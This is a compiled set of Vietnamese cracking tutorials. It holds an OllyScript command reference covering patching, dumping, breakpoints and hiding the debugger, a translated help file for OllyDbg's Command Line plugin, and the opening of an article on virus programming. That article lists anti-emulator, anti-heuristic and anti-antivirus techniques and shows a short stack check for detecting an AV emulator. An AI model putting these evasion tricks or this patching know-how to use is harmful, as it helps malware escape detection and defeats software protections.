Bây giờ các bạn hảy lưu file text trên vào một thư mục bất kỳ.Hảy bật Olly lên, chú ý: ta hảy open 1 file .exe nào đó trong Olly rồi mới chạy script trên được nhé. Xong chưa các bạn, bây giờ chạy script trên xem sao.
Bùm, nó hiển thị một dialog có dòng thông báo: “benina is a good newbie” đúng ko các bạn. hêhê … Sau đó nó hiện 1 hộp thọai báo “Script finished”….vậy là ta viết script được rồi…pó tay luôn .
Sẳn đây tui giới thiệu với các bạn một lệnh sau:
Như các bạn biết, trong tut “Let’s cracking by Olly” mà tui đã viết , có nói về lệnh comment cho các routine trong Olly (ko phải comment trong script nhe, đừng có lộn!). Nó có phím tắt là button “;”. Khi sử dụng lệnh này các bạn sẽ chú thích được 1 ghi chú trong của sổ CPU tại cột comment. Thưa các bạn, trong Script củng cho phép bạn thao tác được như lệnh “;”. Chỉ thị sau tương tự như lệnh “;” trong Olly:


Quote:
CMT addr, text
-----------------
Thêm vào dòng chú thích text tại địa chỉ addr
Ví dụ:
Cmt eip, “This is the EP”



Như các bạn biết , thanh ghi eip chứa chỉ thị lệnh sắp thực hiện. Vì vậy khi open 1 file trong Olly , eip luôn chứa chỉ thị lệnh đầu tiên của chương trình đó cũng chính là EP của chương trình. Bây giờ ta viết lại script trên như sau:


Quote:
/*///////////////////////////////////
Chuong tinh dau tien cua ban
/////////////////////////////////////*/

MSG “benina is a good newbie” // hiện hộp thọai
Cmt eip, “This is the EP”
RET // exits script



Bạn hảy cho chạy script trên, và nó làm việc như ý chứ?. Bạn có thấy tại dòng lệnh đầu tiên trong của sổ CPU của Olly có dòng comment “This is the EP” không?. OK!
Sở dĩ tui post lệnh cmt này trước cho các bạn vì trong TUT của lão hacnho hay sử dụng cái lệnh này để ghi chú OEP đã tìm được. Bây giờ thì chúng ta đã lấn sâu vào Script một chút rồi đấy.

Chú ý: Khi viết script , nhiều khi bị rối, chương trình chạy tầm bậy, ta muốn debug xem script chạy sai chổ nào, chúng ta hảy ứng dụng lệnh MSG làm breakpoint trong script nhé. Khi đó chương trình ngừng lại cho chúng ta xem xét…hihi.Hay các bạn dùng lệnh sau là breakpoint cũng được:


Quote:
PAUSE
----------
Tạm ngừng tiến trình script đang thực thi. Muốn resume tiếp tục thì ta vào menu plugins /OllyScript/Resume
Ví dụ: trong file script ta đánh vào lệnh:
pause



Vậy là coi như chương trình đầu tiên đã xong.

vi-Khai báo biến, hằng, và includes

-Khai báo biến:

Quote:
VAR varname
------------
Khai báo biến để được dùng trong Script
Phải khai báo trước khi dùng biến
Ví dụ:
Var x



-Khai báo hằng: Thực ra trong Script ko có khai báo hằng , muốn khai báo hằng chúng ta cho 1 biến có giá trị đầu tiên, đơn giản vậy thôi.
Trước tiên chúng ta xem lệnh gán giá trị trong Script, nó giống như ASM vậy

Quote:
MOV dest,src
-----------------
Gán giá trị trong src vào dest
Src có thể là một long hex string với định dạng như sau #<số hex>#, ví dụ: #1234# (số số hex phải là số chẳn nhé)
Ví dụ:
mov x, 0F
mov y, "Hello world"
mov eax, ecx
mov [ecx], #00DEAD00BEEF00#
mov !CF, 1
mov !DF, !PF


Vậy khai báo hằng như sau:

Quote:
Ví dụ:

Var x
Mov x, “benina is a good newbie”



-Includes một file script:

Quote:
#INC file
----------------
Includes một file script trong một file script khác
Ví dụ:
#INC “anotherscript.txt”



Ghi chú: Lệnh này không nhất thiết phải ở đầu chương trính script, bạn muốn đặt ở đâu cũng được. Mục đích chính của nó là, khi script chạy gặp lệnh này thì thực thi tất cả các lệnh trong file “anotherscript.txt” , sau đó mới thực thi tiếp các lệnh sau lệnh #INC (với điều kiện trong “anotherscript.txt” ko có lệnh RET)

Để ứng dụng các điều vừa học, các bạn hảy viết 2 file script như sau:


Quote:
/*///////////////////////////////////
File : Script1.txt
/////////////////////////////////////*/
var x
mov x,"Benina is a good newbie" // khai bao hang x

#inc "script2.txt" // thực thi các lệnh trong script2.txt

MSG “Script2 da chay xong!!”

RET // exits script




Quote:
------------------------------------
/*///////////////////////////////////
File : Script2.txt
/////////////////////////////////////*/

MSG x
// Chu y trong script2 khong co lệnh RET



---------------------------
Bây giờ bạn hảy cho Olly chạy file Script1 xem sao. Ok! Bạn đã hiểu rồi nhé, không cần giải thích dài dòng. Chỉ chú ý là trong script2 ko có lệnh RET thôi

vii-Các lệnh thao tác trong Olly:

Trong Olly các lệnh “thao tác bằng tay” như F9 (run), F8 , F7….. đều được script tự động thực hiện. Sau đây là các lệnh Script tương tự như các lệnh thao tác trong Olly. Mấy cái lệnh này tui ko dịch nhé, vì quá dễ mà:

Quote:
AI
--
Executes "Animate into" in OllyDbg
Example:
ai

AN addr
-------
Analyze module which contains the address addr.
Example:
an eip // Same as pressing CTRL-A

AO
--
Executes "Animate over" in OllyDbg
Example:
ao
RTR
---
Executes "Run to return" in OllyDbg
Example:
rtr

RTU
---
Executes "Run to user code" in OllyDbg
Example:
rtu

RUN
---
Executes F9 in OllyDbg
Example:
run


STI
---
Execute F7 in OllyDbg.
Example:
sti


STO
---
Execute F8 in OllyDbg.
Example:
sto
ESTI
----
Executes SHIFT-F7 in OllyDbg.
Example:
esti

ESTO
----
Executes SHIFT-F9 in OllyDbg.
Example:
Esto
TI
--
Executes "Trace into" in OllyDbg
Example:
ti

TICND cond
----------
Traces into calls until cond is true
Example:
ticnd "eip > 40100A" // will stop when eip > 40100A

TO
--
Executes "Trace over" in OllyDbg
Example:
to

TOCND cond
----------
Traces over calls until cond is true
Example:
tocnd "eip > 40100A" // will stop when eip > 40100A
PAUSE
-----
Pauses script execution. Script can be resumed from plugin menu.
Example:
pause




Tóm tắt các lệnh trên như sau: (Để chúng ta dễ tra khi đọc code hay viết code cho script)

Quote:
AI --------- Ctrl-F7 : Animate Into
AN---------Ctrl-A : ANalyze module
AO---------Ctrl-F8 : Animate Over
RTR--------Ctrl-F9 : Run To Return
RTU-------Alt-F9 : Run To User code
RUN---------F9 : RUN
STI-----------F7: STep Into
STO----------F8: STep Over
ESTI---------Shift-F7: Giống như F7, nhưng nếu khi chương trình dừng lại trên một exception, thì Olly bắt đầu thử chuyển exception đến handler được chỉ định trong chương trình.
ESTO--------Shift-F9: Giống như F9, nhưng nếu khi chương trình dừng lại trên một exception, thì Olly bắt đầu thử chuyển exception đến handler được chỉ định trong chương trình.
TI------------Ctrl-F11: Trace Into
TO-----------Ctrl-F12: Trace Over
TICND------Ctrl-F11 kết hợp với Ctrl-T: Trace Into và set CoNDition
TOCND------Ctrl-F12 kết hợp với Ctrl-T: Trace Over và set CoNDition
PAUSE--------F12 ; PAUSE


=================
Đến đây thì xin các bạn cho benina đi ngũ nhe. Buồn ngũ quá rồi. Hôm nào rãnh post tiếp.

Benina (5/10/2004)

---------------------------------------------------------------------------




PHẦN TIẾP THEO:

Xin lỗi trước các bạn, vì lỡ khui “thùng bia OllySrcipt” ra rồi thành thử ra phải nhậu cho hết, chứ benina quải quá, không có thời gian để mà nhậu. Muốn gác kiếm rồi nhưng còn vương vấn sự đời nên lâu lâu cũng nhậu vài ba cái TUT cho vui Để có dịp nào thảnh thơi benina sẽ nhậu với các bạn mấy cái Script này cho nó kỹ càng. Còn bây giờ benina chỉ sắp xếp các cái lệnh Script cho các bạn có hệ thống. Đồng thời tóm tắt , và điểm sáng một số lệnh quan trọng để các bạn có khái niệm. Benina sẽ ko dịch tòan bộ các lệnh này, vì thực ra cũng dễ dịch lắm. Nếu bạn nào rãnh rỗi cứ dịch ra cho anh em thì rất tốt.



viii-Các lệnh giống trong ASM:

Các lệnh này của Script đều có trong tập lệnh ASM, nên thật dễ dàng khi tiếp xúc các lệnh này.

Quote:
ADD dest, src
-------------
Adds src to dest and stores result in dest
Example:
add x, 0F
add eax, x
add [401000], 5
add y, " times" // If y was 1000 before this command then y is "1000 times" after it


AND dest, src
-------------
ANDs src and dest and stores result in dest
Example:
and x, 0F
and eax, x
and [401000], 5

DEC var
-------
Substracts 1 from variable
Example:
dec v


INC var
-------
Adds 1 to variable
Example:
inc v

MOV dest, src
-------------
Move src to dest.
Src can be a long hex string in the format #<some hex numbers>#, for example #1234#.
Remember that the number of digits in the hex string must be even, i.e. 2, 4, 6, 8 etc.
Example:
mov x, 0F
mov y, "Hello world"
mov eax, ecx
mov [ecx], #00DEAD00BEEF00#
mov !CF, 1
mov !DF, !PF

OR dest, src
-------------
ORs src and dest and stores result in dest
Example:
or x, 0F
or eax, x
or [401000], 5
SHL dest, src
-------------
Shifts dest to the left src times and stores the result in dest.
Example:
mov x, 00000010
shl x, 8 // x is now 00001000

SHR dest, src
-------------
Shifts dest to the right src times and stores the result in dest.
Example:
mov x, 00001000
shr x, 8 // x is now 00000010


SUB dest, src
-------------
Substracts src from dest and stores result in dest
Example:
sub x, 0F
sub eax, x
sub [401000], 5


XOR dest, src
-------------
XORs src and dest and stores result in dest
Example:
xor x, 0F
xor eax, x
xor [401000], 5
---------------------------------------------------



Tóm lại: các lệnh sắp xếp trong mục này là:

Quote:
ADD,SUB, DEC,INC, AND,OR,XOR,SHL,SHR, MOV



ix-Lệnh nhảy và lệnh so sánh:

a>Label(Nhãn)

Trước hết phải nói về Nhãn (Label) vì lệnh nhảy lúc nào cũng liên quan đến Label. Trong ngôn ngữ lập trình cấp cao, khi ta muốn điều khiển một lệnh nhảy , nhảy đến 1 routine nào, thì ta phải khai báo trước routine đó một cái tên nhãn (label). Lúc đó chương trình chúng ta mới biết đường mà nhảy . Trong Script, lables khai báo như sau:

Quote:
Labels
----------
Labels được định nghĩa bằng cách đặt dấu “:” sau một cái name.
Example:
SOME_LABEL:



Sau đây tui cũng xin giới thiệu với các bạn một lệnh định nhãn của Script cho window CPU.
Trong TUT “Let’s cracking by Olly” , tui có post về cách định một nhãn cho một dòng lệnh trong Olly để khi nào ta muốn đến đó debug thì ta cho Olly nhảy đến nhãn đó là xong. Lệnh định nhãn trong Olly là shotcut “:” . Trong Script, nó hổ trợ cho chúng ta thực hiện lệnh trên như sau:


Quote:
LBL addr, text
--------------
Inserts a label at the specified address
Example:
lbl eip, "NiceJump"



b>Compare (Lệnh so sánh):

Như các bạn biết, lệnh so sánh lúc nào cũng đi chung với lệnh nhảy, nên tui sắp xếp chúng vào một mục.


Quote:
CMP dest, src
-------------
Compares dest to src. Works like it's ASM counterpart.
Example:
cmp y, x
cmp eip, 401000



c>Jumps(Các lệnh nhảy):

Các lệnh nhảy trong Script:


Quote:
JA label
--------
Use this after cmp. Works like it's asm counterpart.
Example:
ja SOME_LABEL

JAE label
---------
Use this after cmp. Works like it's asm counterpart.
Example:
jae SOME_LABEL

JB label
--------
Use this after cmp. Works like it's asm counterpart.
Example:
jb SOME_LABEL

JBE label
---------
Use this after cmp. Works like it's asm counterpart.
Example:
jbe SOME_LABEL

JE label
--------
Use this after cmp. Works like it's asm counterpart.
Example:
je SOME_LABEL

JMP label
---------
Unconditionally jump to a label.
Example:
jmp SOME_LABEL

JNE label
---------
Use this after cmp. Works like it's asm counterpart.
Example:
jne SOME_LABEL

===============


Tóm lại: Các lệnh trong mục này:

Quote:
Lables in file script;LBL;CMP;JA;JAE;JB;JBE;JE;JNE;JMP



x-Lệnh Patch thay đổi Code :

Nó tương tự như các lệnh Assemble (Shotcut space), Fill with NOPs, Edit Binary (Ctrl-E):

Quote:
ASM addr, command
-----------------
Assemble a command at some address.
Returns bytes assembled in the reserved $RESULT variable
Example:
asm eip, "mov eax, ecx"

FILL addr, len, value
---------------------
Fills len bytes of memory at addr with value
Example:
fill 401000, 10, 90 // NOP 10h bytes

REPL addr, find, repl, len
--------------------------
Replace find with repl starting att addr for len bytes.
Wildcards are allowed
Example:
repl eip, #6a00#, #6b00#, 10
repl eip, #??00#, #??01#, 10
repl 401000, #41#, #90#, 1F


Tóm lại: Có 3 lệnh để patch:

Quote:
ASM,FILL,REPL




xi-Lệnh về breakpoint:

Trong Script cũng cho ta lệnh set breakpoint. Các bạn chú ý lệnh BP nó giống như set breakpoint Toggle F2, và lệnh BPHWS , nó giống như lệnh bpm trong SI. Tức là set bp tại một address trong vùng nhớ , khi chương trình chạm đến vùng nhớ này, tùy theo mod đọc hay viết vào vùng nhớ này mà nó break chương trình


Quote:
BC addr
-------
Clear unconditional breakpoint at addr.
Example:
bc 401000
bc x
bc eip

BP addr
--------
Set unconditional breakpoint at addr.
Example:
bp 401000
bp x
bp eip

BPCND addr, cond
----------------
Set breakpoint on address addr with condition cond.
Example:
bpcnd 401000, "ECX==1"

BPL addr, expr
--------------
Sets logging breakpoint at address addr that logs expression expr
Example:
bpl 401000, "eax" // logs the value of eax everytime this line is passed

BPLCND addr, expr, cond
-----------------------
Sets logging breakpoint at address addr that logs expression expr if condition cond is true
Example:
bplcnd 401000, "eax", "eax > 1" // logs the value of eax everytime this line is passed and eax > 1

BPMC
----
Clear memory breakpoint.
Example:
bpmc

BPHWC addr
----------
Delete hardware breakpoint at a specified address
Example:
bphwc 401000

BPHWS addr, mode
----------------
Set hardware breakpoint. Mode can be "r" - read, "w" - write or "x" - execute.
Example:
bphws 401000, "x"

BPRM addr, size
---------------
Set memory breakpoint on read. Size is size of memory in bytes.
Example:
bprm 401000, FF

BPWM addr, size
---------------
Set memory breakpoint on write. Size is size of memory in bytes.
Example:
bpwm 401000, FF


Tóm tắt lệnh:

Quote:
BC,BP,BPCND,BPL,BPLCND,BPMC,BPHWC,BPHWS,BPRM,BPWM



xii-Lệnh về các hộp thọai:

Các lệnh liên quan đến việc cho hiển thị hộp đối thọai với srcipt.


Quote:
ASK question
------------
Displays an input box with the specified question and lets user enter a response.
Sets the reserved $RESULT variable (0 if cancel button was pressed).
Example:
ask "Enter new EIP"
cmp $RESULT, 0
je cancel_pressed
mov eip, $RESULT


MSG message
-----------
Display a message box with specified message
Example:
MSG "Script paused"

MSGYN message
-----------
Display a message box with specified message and YES and NO buttons.
Sets the reserved $RESULT variable to 1 if YES is selected and 0 otherwise.
Example:
MSGYN "Continue?"



Tóm lại:

Quote:
ASK,MSG,MSGYN



xiii-Các lệnh Dump:

Ứng dụng các lệnh này để ta viết 1 script có chức năng dump chương trình ra 1 file , mà ko cần dùng các phần mềm dump chuyên nghiệp. Đặc biệt các bạn chú ý lệnh dump DPE


Quote:
DM addr, size, file
-------------------
Dumps memory of specified size from specified address to specified file
Example:
dm 401000, 1F, "c:\dump.bin"

DMA addr, size, file
-------------------
Dumps memory of specified size from specified address to specified file appending to that file if it exists
Example:
dma 401000, 1F, "c:\dump.bin"

DPE filename, ep
----------------
Dumps the executable to file with specified name.
Entry point is set to ep.
Example:
dpe "c:\test.exe", eip


Tóm lại:

Quote:
DM,DMA,DPE



xiv-Các lệnh về tìm kiếm:

Các lệnh này rất quan trọng trong việc đọc TUT MUP, các bạn nên hiểu rõ các lệnh này. Tui xin dịch các lệnh FINDOP cho các bạn


Quote:
FIND addr, what
---------------
Searches memory starting at addr for the specified value.
When found sets the reserved $RESULT variable. $RESULT == 0 if nothing found.
The search string can also use the wildcard "??" (see below).

Example:
find eip, #6A00E8# // find a PUSH 0 followed by some kind of call
find eip, #6A??E8# // find a PUSH 0 followed by some kind of call

FINDOP addr, what
-----------------
Searches code starting at addr for an instruction that begins with the specified bytes.
When found sets the reserved $RESULT variable. $RESULT == 0 if nothing found.
The search string can also use the wildcard "??" (see below).
Example:
findop 401000, #61# // find next POPAD
findop 401000, #6A??# // find next PUSH of something



Lệnh này có ý nghĩa như sau:
Tìm một chỉ thị lệnh bắt đầu với những bytes được chỉ định trong tham số what .Địa chỉ bắt đầu tìm kiếm là địa chỉ addr . Khi đã tìm xong, nó sẽ set kết quả địa chỉ dòng lệnh trong biến $RESULT. Nếu $RESULT==0 tức là ko tìm thấy. Khi tìm kiếm string cũng có thể dùng widcard “??”. Xem các ví dụ trên
Lệnh này rất hay dùng trong các TUT MUP để tìm kiếm một dòng lệnh nào đó.
Chú ý: Lệnh Find và FindOP khác nhau ở chồ: Find thì tìm trong memory cái gì đó còn FindOP thì tìm dòng lệnh code.

Tóm tắt các lệnh :

Quote:
FIND,FINDOP



xv-Các lệnh về liên quan đến log window:

Các lệnh sau can thiệp vào của sổ Log trong Olly (Trong Olly bạn nhấn button “L” trên thanh menu để cho hiển thị cửa sổ Log.Cửa sổ này ghi nhận lại những gì mà Olly đã Log trong quá trình thực thi chương trình.Cửa sổ này cũng có thể ứng dụng trong Filegen để tìm file lưu serial)


Quote:
#LOG
----
Enables logging of executed commands.
The commands will appear in OllyDbg log window, and will be prefixed with -->
Example:
#log

Ghi chú: Lệnh này sẽ cho hiển thị các lệnh trong script mà nó đã thực thi trong cửa sổ Log

LOG src
-------
Logs src to OllyDbg log window.
If src is a constant string the string is logged as it is.
If src is a variable or register its logged with its name.
Example:
log "Hello world" // The string "Hello world" is logged
var x
mov x, 10
log x // The string "x = 00000010" is logged.


Tóm tắt:

Quote:
#LOG, LOG



xvi-Các lệnh Gets:

Các lệnh này chủ yếu để lấy thông tin nào đó từ dữ liệu ta cung cấp


Quote:
GN addr
-------
Gets the symbolic name of specified address (ex the API it poits to)
Sets the reserved $RESULT variable
Example:
gn 401000

GPA proc, lib
-------------
Gets the address of the specified procedure in the specified library.
When found sets the reserved $RESULT variable. $RESULT == 0 if nothing found.
Useful for setting breakpoints on APIs.
Example:
gpa "MessageBoxA", "user32.dll" // After this $RESULT is the address of MessageBoxA and you can do "bp $RESULT".

GMI addr, info
--------------
Gets information about a module to which the specified address belongs.
"info" can be MODULEBASE, MODULESIZE, CODEBASE or CODESIZE (if you want other info in the future versions plz tell me).
Sets the reserved $RESULT variable (0 if data not found).
Example:
GMI eip, CODEBASE // After this $RESULT is the address to the codebase of the module to which eip belongs



Tóm tắt:

Quote:
Các lệnh này mới rất hay. Tui tóm tắt như sau
GN: Ứng dụng lấy tên của hàm API tại địa chỉ chỉ định
GPA : Ứng dụng lấy địa chỉ của một hàm API nào đó để đặt bp tại địa chỉ đó
GMI: Thấy thông tin về module mà eip(hay một adrr) đang trỏ. Nhiều khi tử huyệt cần crack ko nằm trong file exe mà lại nằm trong file dll. Ta ứng dụng lệnh này để lấy thông tin module





xvii-Các lệnh Tranfer (dời thao tác)

(dời sự thực thi của script đến một label nào đó trong trong file script):
Có 2 trạng thái cần phân biệt:
-Breakpoint (Điểm ngắt trong Olly): Ngắt do người dùng ép buộc
-Exception (sự phản kháng của Olly): Ngắt do Olly phản kháng.
Các lệnh này can thiệp vào 2 trạng thái ngắt ở trên. Mục đích chính của các lệnh này là báo cho Script biết, khi nào ngắt xảy ra thì rời ngắt thực thi tiếp (COB,COE) hay nhảy đến một đọan script nào đó thực thi tiếp(EOB,EOE). Vì vậy khi viết script, lệnh này đặt đâu cũng được miễn trước break mà ta dự tính sẽ xử lý.


Quote:
EOB label
---------
Transfer execution to some label on next breakpoint.
Example:
eob SOME_LABEL

EOE label
---------
Transfer execution to some label on next exception.
Example:
eob SOME_LABEL
COB
---
Makes script continue execution after a breakpoint has occured (removes EOB)
Example:
COB

COE
---
Makes script continue execution after an exception has occured (removes EOE)
Example:
COE



Tóm tắt:


Quote:
EOB,EOE,COB,COE



xiii-Các lệnh thực thi trong Script:

Lệnh dễ và cũ , tui ko dịch , chỉ dịch các lệnh mới mà thôi


Quote:
#INC file
---------
Includes a script file in another script file
Example:
#inc "anotherscript.txt"
CMT addr, text
--------------
Inserts a comment at the specified address
Example:
cmt eip, "This is the entry point"
RET
---
Exits script.
Example:
ret
DBH
---
Hides debugger
Example:
dbh

DBS
---
Unhides debugger
Example:
dbs



EVAL
----
Mục đích: Kết hợp một string với một giá trị đã tính tóan thành một string mới được set trong biến $RESULT

Evaluates a string expression that contains variables.
The variables that are declared in the current script can be enclosed in curly braces {} to be inserted.
Sets the reserved $RESULT variable
Example:
var x
mov x, 1000
eval "The value of x is {x}" // after this $RESULT is "The value of x is 00001000"

EXEC/ENDE
---------
Mục đích của các lệnh này là can thiệp vào trong quá trình thực thi của Olly, như thay đổi giá trị thanh ghi, hay exit tiến trình thực thi.

Executes instructions between EXEC and ENDE in the context of the target process.
Values in curly braces {} are replaced by their values.
Example:
// This does some movs
var x
var y
mov x, "eax"
mov y, "0DEADBEEF"
exec
mov {x}, {y} // mov eax, 0DEADBEEF will be executed
mov ecx, {x} // mov ecx, eax will be executed
ende
// This calls ExitProcess in the debugged application
exec
push 0
call ExitProcess
ende
ret

GO addr
-------
Executes to specified address (like G in SoftIce)
Example:
go 401005


Integration with other plugins (tích hợp với một plugins khác)
---------------------------------
You can call OllyScript from your plugin and make it execute a script.
Use something like the source code below:
(Bạn có thể gọi OllScript từ một plugin củ abạn và bắt nó thực thi một script .Ta xử dụng hàm nàysmilie

HMODULE hMod = GetModuleHandle("OllyScript.dll");
if(hMod) // Check that the other plugin is present and loaded
{
// Get address of exported function
int (*pFunc)(char*) = (int smilie(char*)) GetProcAddress(hMod, "ExecuteScript");
if(pFunc) // Check that the other plugin exports the correct function
pFunc("myscript.txt"); // Execute exported function
}



Tóm tắt:

Quote:
#INC,CMT,RET,DBH,DBS, EXEC/ENDE,EVAL,GO, HMODULE


Đến đây là hết TUT này. Benina hy vọng qua TUT này , các cracker sẽ viết rất nhiều script tuyệt đẹp.
Benina (9/10/2004)


------------------------------------------------------------------------------




Command Line Plugin




Welcome, sau một thời gian làm quen với Olly hôm nay em xin giới thiệu với mọi người một Plugin không kém phần quan trọng của Olly , đó chính là Plugin Command Line. Mặc dù còn nhiều tính năng hạn chế nhưng Plugin này cũng vẫn cung cấp cho chúng ta các chức năng đầy đủ mà một chương trình debug cần phải có. Nhưng bù lại thì mã nguồn của Plugin này là mở cho nên cho phép chúng ta add thêm bất kì câu lệnh mới nào vào đồng thời nó cũng cho phép chúng ta chỉnh sửa các chức năng của những câu lệnh đã có. Bài viết này được dịch ra từ file Help , mong rằng sẽ đáp ứng được phần nào thông tin , cũng như chức năng cơ bản của Plugin này.

Như chúng ta đã biết , để gọi Plugin này trong Olly chúng ta dùng phím tắt sau : Alt + F1. Hiện tại theo tài liệu mà em có thì Plugin này hỗ trợ những câu lệnh sau :

1. Expressions (Biểu thức) :

Code:
CALC expression : Tính toán giá trị của một biểu thức
? expression : Tương tự như trên
expression (kí tự đầu tiên không được là chữ cái) : Tương tự như trên
WATCH expression : Theo dõi, quan sát một biểu thức
W expression : Tương tự2. Assignments (Gán) :

Code:
SET reg=expression : Ghi giá trị của biểu thức vào thanh ghi chung 8, 16, hay 32 bits
reg=expression : Tương tự
SET memory=expression : Ghi giá trị của biểu thức vào bộ nhớ 8 , 16, hay 32 bits3. Disassembler :

Code:
AT expression : Theo dõi địa chỉ trong cửa sổ Disassembler
FOLLOW expression : Tương tự
ORIG : Đi tới thanh ghi EIP hiện tại
* : Tương tự4. Dump and Stack :

Code:
D expression : Theo một địa chỉ trong cửa sổ Dump
DUMP expression : Tương tự
DA [expression] : Dump theo dạng assembler
DB [expression] : Dump ở dạng byte (hexa)
DC [expression] : Dump dưới dạng ASCII text
DD [expression] : Dump dưới dạng địa chỉ (áp dụng cho stack)
DU [expression] : Dump theo dạng Unicode text
DW [expression] : Dump ở dạn word (hexa)
STK expression : Lần theo một địa chỉ trong Stack5. Assembling :

Code:
A expression [,command] : Assemble tại một địa chỉ6. Labels and comments (Các lệnh liên quan đến nhãn và chú thích):

Code:
L expression, label : Gán nhãn cho một địa chỉ
C expression, comment : Gán chú thích tại một địa chỉ7. Breakpoint commands (Các lệnh liên quan đến việc đặt BP trong Olly):

Code:
BP expression [,condition] : Đặt breakpoint INT3 tại địa chỉ
BPX label : Đặt breakpoint lên tất cả các hàm Call
BC expression : Xóa điểm đặt BP tại địa chỉ
MR expression1 [,expression2] : Đặt một BP là memory on access trên một phạm vi nào đó
MW expression1 [,expression2] : Đặt một BP là memory on write trên một phạm vi nào đó
MD : Xóa điểm đặt BP memory
HR expression : Đặt 1-byte BP có dạng hardware on access lên một địa chỉ
HW expression : Đặt 1-byte BP có dạng hardware on write lên một địa chỉ
HE expression : Đặt một BP có dạng hardware on execute lên một địa chỉ
HD [expression] : Xóa điểm đặt hardware BP tại một địa chỉ8. Tracing commands (Các lệnh liên quan đến việc Trace code trong Olly):

Code:
STOP : Tạm dừng sự thi hành
PAUSE : Tương tự
RUN : Chạy chương trình
G [expression] : Chạy chương trình đến một địa chỉ nào đó
GE [expression] : Bỏ qua các ngoại lệ để điều khiển và chạy đến một địa chỉ nào đó

S : Nhảy vào trong một hàm
SI : Tương tự
SO : Nhảy qua một hàm
T [expression] : Trace vào trong một hàm đến một địa chỉ nào đó
TI [expression] : Tương tự
TO [expression] : Trace qua một hàm đến một điạh chỉ nào đó
TC condition : Trace vào trong một hàm đến một điều kiện nào đó
TOC condition : Trace qua một hàm đến một điều kiện nào đó
TR : Thực thi cho đến khi Return
TU : Thực thi cho đến đoạn user code9. OllyDbg windows (Các lệnh liên quan đến cửa sổ):

Code:
LOG : Xem cửa sổ Log
MOD : Xem cửa sổ Executable
MEM : Xem cửa sổ Memory
CPU : Xem cửa sổ CPU
CS : Xem cửa sổ Call Stack
BRK : Xem cửa sổ Break Points
OPT : Xem cửa sổ Options10. Miscellaneous commands (Các lệnh khác):

Code:
EXIT : Đóng OllyDbg
QUIT : Tương tự
OPEN [filename] : Mở một file để Debug (executable file or dll)
CLOSE : Đóng chương trình đang Debug
RST : Restart lại chương trình đang Debug
HELP : Mở cửa Help của Plugin Command Line
HELP OllyDbg : Mở cửa sổ Help của Olly
HELP APIfunction : Mở cửa sổ Help của hàm API
Các lệnh dùng trong Plugin Command Line không phân biệt chữ hoa và chữ thường , các tham số trong ngoặc vuông là những tùy chọn. Các biểu thức có thể bao gồm các hằng số, các thanh ghi và các tham chiếu bộ nhớ , bên cạnh đó nó còn hỗ trợ tất cả các phép tính số học cơ bản và các Boolean Function. Theo mặc định thì tất cả các hằng số đều ở dạng Hexa. Để biểu diễn các hằng số về dạng Decimal , đi kèm nó là dấu thập phân. Ví dụ :


Code:
1. 2 + 2 : Tính toán giá trị của biểu thức (Cộng ở kiểu Hexa);

2. 2.0 + 2.0 : Tính toán giá trị của biểu thức (Cộng ở kiểu thập phân);

3. AT [EAX+10] : disassemble tại địa chỉ mà địa chỉ này là nội dung của Dw mem tại địa chỉ EAX + 0x10;

4. BP KERNEL32.GetProcAddress : Đặt một BP lên hàm API . Chú ý bạn có thể đặt một BP trong file Dll hệ thống , nhưng chỉ đối với các hệ điều hành NT;

5. BPX GetProcAddress : Đặt BP lên tất cả các lệnh gọi hàm API GetProcAddress;

6. BP 412010,EAX==WM_CLOSE : Đặt một Conditional BP tại địa chỉ 0x412010. Chương trình sẽ dừng lại khi mà giá trị của EAX = WM_CLOSE;
kienmanowar(REA – cRaCkErTeAm) – 05/01/2005

[HVA] Kĩ thuật lập trình Virus - Copyright Spinx

Các newbie xem cũng được nhưng bài này không dành cho newbie. Đây không phải khái niêm cơ bản, tôi chỉ muốn tổng kết một số kỹ thuật bảo vệ trong môn virus programming

Một chương trình diệt VR (AV) tốt là một AV tìm được nhiều VR. Một VR mạnh là một VR được bảo vệ. Được bảo vệ có nghĩa là VR có các tính năng chống phát hiện, chống emulate, chống disassemble, khó theo dõi hành vi. Ở đây tôi xin đề cập đến một vài kỹ thuật bảo vệ như vậy đã từng được các V-er áp dụng trong virus programming.
Có nhiều cách lắm và rất đa dạng như bất cứ kỹ thuật nào cần đến sức sáng tạo của con người. Trong phần này tôi sẽ đề cập tới các kỹ thuật chính:
- anti-emulator
- anti-heuristics
- anti-analysis (anti-disasm)
- anti-debug
- anti-monitor
- anti-antivirus (retro)
- anti-bait
Đây là giới thiệu chung nên tôi không đưa hết các code ví dụ. Có thể tôi sẽ phân tích và đưa ra code ví dụ sâu hơn ở từng kỹ thuật nếu thấy có nhiều bạn đọc quan tâm. Nếu bạn nào muốn thảo luận sâu hơn về kỹ thuật nào xin liên hệ trực tiếp.

Anti-Emulator bằng các tip-trick đơn giản:
Với phương pháp heuristic analysis các AV sẽ CÓ THỂ phát hiện ra mọi VR, kể cả các VR chưa từng gặp. Nó làm việc giống như một bộ giải mã, quét và kiểm tra các đoạn code khả nghi kiểu như các đoạn duyệt APIs, jump to ring-0, làm việc với *.exe mở và ghi các tệp khả thi (.exe, .dll...). Heuristic analysis là một í tưởng rất táo bạo tuy nhiên nghe có vẻ ... phi thực tế. Thế nhưng kỹ thuật này cho đến nay đã có rất nhiều cải tiến và phát triển trong hầu hết các AV nổi tiếng. Tuy vậy, nhiều AV có các bugs và nhiều khi không nhận các đoạn code nguy hiểm. Một số gặp khó khăn khi bắt gặp các mã lệnh "hiểm" (undocumented opcodes) và đa số chúng đều không thể quản lý stack chính các như khi VR chạy thực. Lợi dụng các đặc điểm này nảy sinh một số tricks để qua mặt các Emulator như:
- Kiểm tra stack:
mov edx, esp
push cs
pop eax
cmp esp, edx
jne emul_present ; Có AV emulator
Đoạn code trên hoàn toàn vô hại thậm chí hơi ngớ ngẩn nếu bạn xem qua nhưng trong thực tế chương trình của ban phát hiện được ngay có kẻ can thiệp vào stack của ban trong khi chạy, vậy chương trình của bạn không chạy thực mà chỉ đang trong chế độ emulator
- Tương tự thế bạn có thể lừa AV bằng vài lệnh RETF (rất nhiều VR nội có dùng)
- Sử dụng các opcode lạ (undocumented opcodes) của processor như SALC, BPICE. Vô hại với bạn nhưng khó hiểu với AV
......

Anti-Heuristics bằng kỹ thuật cao cấp:
Như vậy anti-emulator là đánh vào chỗ hổng của các giải thuật heuristic scanners. Các AV có thể khắc phục nhưng rất khó khăn đặc biệt nếu bạn dùng vài kỹ thuật cao hơn như SEH. Tạo ra lỗi giả rồi nhảy đến đoạn bẫy lỗi. Tôi viết VR cách đây lâu rồi nên các kỹ thuậu mới trên win có khi không cập nhật bằng các bác nữa. Tôi sẽ đi sâu vào DOS hơn một chút.
